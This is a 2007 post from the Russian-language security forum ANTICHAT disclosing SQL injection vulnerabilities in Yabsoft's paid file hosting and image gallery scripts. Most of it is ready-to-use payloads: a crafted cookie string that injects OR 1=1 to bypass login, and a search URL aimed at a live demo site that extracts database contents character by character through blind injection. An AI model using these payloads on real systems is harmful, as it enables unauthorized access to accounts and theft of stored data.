Advanced Image/FILE Hosting Script

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

Advanced Image/FILE Hosting Script

28.06.2007, 13:20

~~gemaglabin~~

Banned

Регистрация: 01.08.2006

Сообщений: 725

Провел на форуме:
7681825

Репутация: 4451

Advanced Image/FILE Hosting Script

Уязвимости в платных продуктах от Yabsoft.com , в галлерее и скрипте файлообменника.Для эксплуатации обоих требуется magic_quote_gpc off.

MFH - иньекция в куках ( google )

Код:

yab_uploadmode=2; pass_hash=0; yab_logined=1; yab_last_click=1183021167; yab_autologin=1; yab_uid=0'+or+1=1/*; yab_passhash=c4ca4238a0b923820dcc509a6f75849b;yab_uploadmode=0;yab_sess_id=123;

AIM - возможен посимвольный перебор информации , хранящейся в базе данных. ( google )

Код:

http://www.yabsoft.info/demo/aihspro/search.php?text=%')+or+ascii(substring((select+1+from+users+limit+1),1,1))%3E0/*&dosearch=Search